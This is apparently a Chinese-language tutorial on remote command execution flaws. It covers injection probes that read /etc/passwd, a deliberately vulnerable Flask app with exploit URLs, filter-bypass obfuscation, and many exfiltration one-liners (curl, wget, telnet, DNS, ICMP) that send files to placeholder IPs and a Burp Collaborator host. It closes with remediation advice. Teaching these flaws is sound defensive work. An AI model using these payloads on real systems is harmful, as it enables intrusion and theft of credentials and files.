一、RCE漏洞概述

1.1 RCE漏洞简介

应用程序在实现某些高级功能时可能需要调用外部程序来实现，如果引入的外部程序本身存在安全隐患或对传入的参数进行拼接操作，可能会导致程序出现安全隐患。

1.2 RCE漏洞检测

连接符	示例
|	ping www.xx.com -c 1|cat /etc/passwd;
||	ping www.xx.com -c 1||cat /etc/passwd;
&	ping www.xx.com -c 1&cat /etc/passwd;
&&	ping www.xx.com -c 1&&cat /etc/passwd;
;	ping www.xx.com -c 1;cat /etc/passwd;
$(sleep 5)	ping www.xx.com -c $(sleep 5);
%0d%0a	ping www.xx.com -c 1%0d%0acat /etc/passwd;
../	cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/ipconfig.exe"

二、RCE漏洞代码审计

2.1 Python代码审计

2.1.1 漏洞代码

```
# -*- coding: utf-8 -*-

import subprocess
from flask import Flask, request, send_file
app = Flask(__name__)

@app.route("/", methods=['GET','POST'])
def index():
    url = request.args.get('url')
    argstr = request.args.get('argstr')
    cmdstr = "wkhtmltoimage.exe {} {} image.png".format(argstr, url)
    rsp = subprocess.Popen(cmdstr, shell=True)
    rsp.wait()
    return send_file('image.png', mimetype='image/gif')

if __name__ == '__main__':

    app.run(debug = True)
```

2.1.2 漏洞利用

如下图所示，通过命令连接符连接多个命令，成功写入123.txt。

```
http://127.0.0.1:5000/?argstr=||echo%20123%20%3E%20c:\123.txt||&url=
http://127.0.0.1:5000/?argstr=&url=||echo%20123%20%3E%20c:\123.txt
```

2.2 Bypass技巧

2.2.1 命令混淆

- Linux

```
uname${IFS}-a
uname$IFS$9-a
uname%09-a

a=l;b=s;$a$b -la
ca\t /etc/passwd

echo 'ls /'|base64
echo bHMgLwo=|base64 -d
```

- Windows

```
(who"a"mi)
who"a"^mi

set a=w
set b=hoami
%a%%b%
```

2.2.2 命令回传

- windows

```
telnet xx.xx.xx.xx:xxxx < c:\win.ini
```

```
net use h: \\xxx.xxx.xxx.xxx\web /user:administrator 123456 && copy index.php
h:\index.php
```

- linux

```
curl -X POST -F xx=@index.php
http://s4xv9zxsbg6xb13gwx0a68zai1orcg.burpcollaborator.net
cat /etc/passwd | curl -F ":data=@-" http://xx.xx.xx.xxx:xxxx/test.txt
curl -T /etc/passwd ftp://xxx.xxx.xxx.xxx --user {username}:{password}
```

```
wget --header="evil:`cat /etc/passwd | xargs echo -n`" http://xxx.xxx.xxx:xxxx
wget --post-data exfil=`cat /etc/passwd`&b=1 http://xxx.xxx.xxx.xxx:xxxx
wget --post-file index.php http://xxx.xxx.xxx.xxx:xxxx
```

```
cat /etc/passwd | while read exfil; do host $exfil.contextis.com 192.168.107.135;
done
```

```
ping `cat /etc/passwd|wc -c`.baidu.com  # 计算passwd内容字节长度
ping `cat /etc/passwd|base64|cut -c 1-20`.baidu.com # 截取字符串
```

```
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1
xxx.xxx.xxx.xxx; done # ICMP回显
```

```
$(sleep $(cat index.php | wc -c))   # 计算index.php内容字符长度
$(sleep $(cat index.php | cut -c 1 | tr a 5))   # 取index.php文件中的第一个字符,如果
是'a',则转换为5
```

```
for /F %x in ('whoami') do start
s4xv9zxsbg6xb13gwx0a68zai1orcg.burpcollaborator.net/[%x].jpg
```

三、RCE漏洞修复

3.1 白名单进行过滤

可通过白名单限制字符类型，仅允许字符、数字、下划线，或过滤转义相关字符。

3.2 避免拼接操作系统命令

避免通过"cmd"、“bash”、“sh”等命令创建shell后拼接外部数据来执行操作系统命令。

- Go过滤函数

```
func checkIllegal(cmdName string) bool {
    if strings.Contains(cmdName, "&") || strings.Contains(cmdName, "|") ||
strings.Contains(cmdName, ";") ||
        strings.Contains(cmdName, "$") || strings.Contains(cmdName, "'") ||
strings.Contains(cmdName, "`") ||
        strings.Contains(cmdName, "(") || strings.Contains(cmdName, ")") ||
strings.Contains(cmdName, "\"") {
        return true
    }
    return false
}
```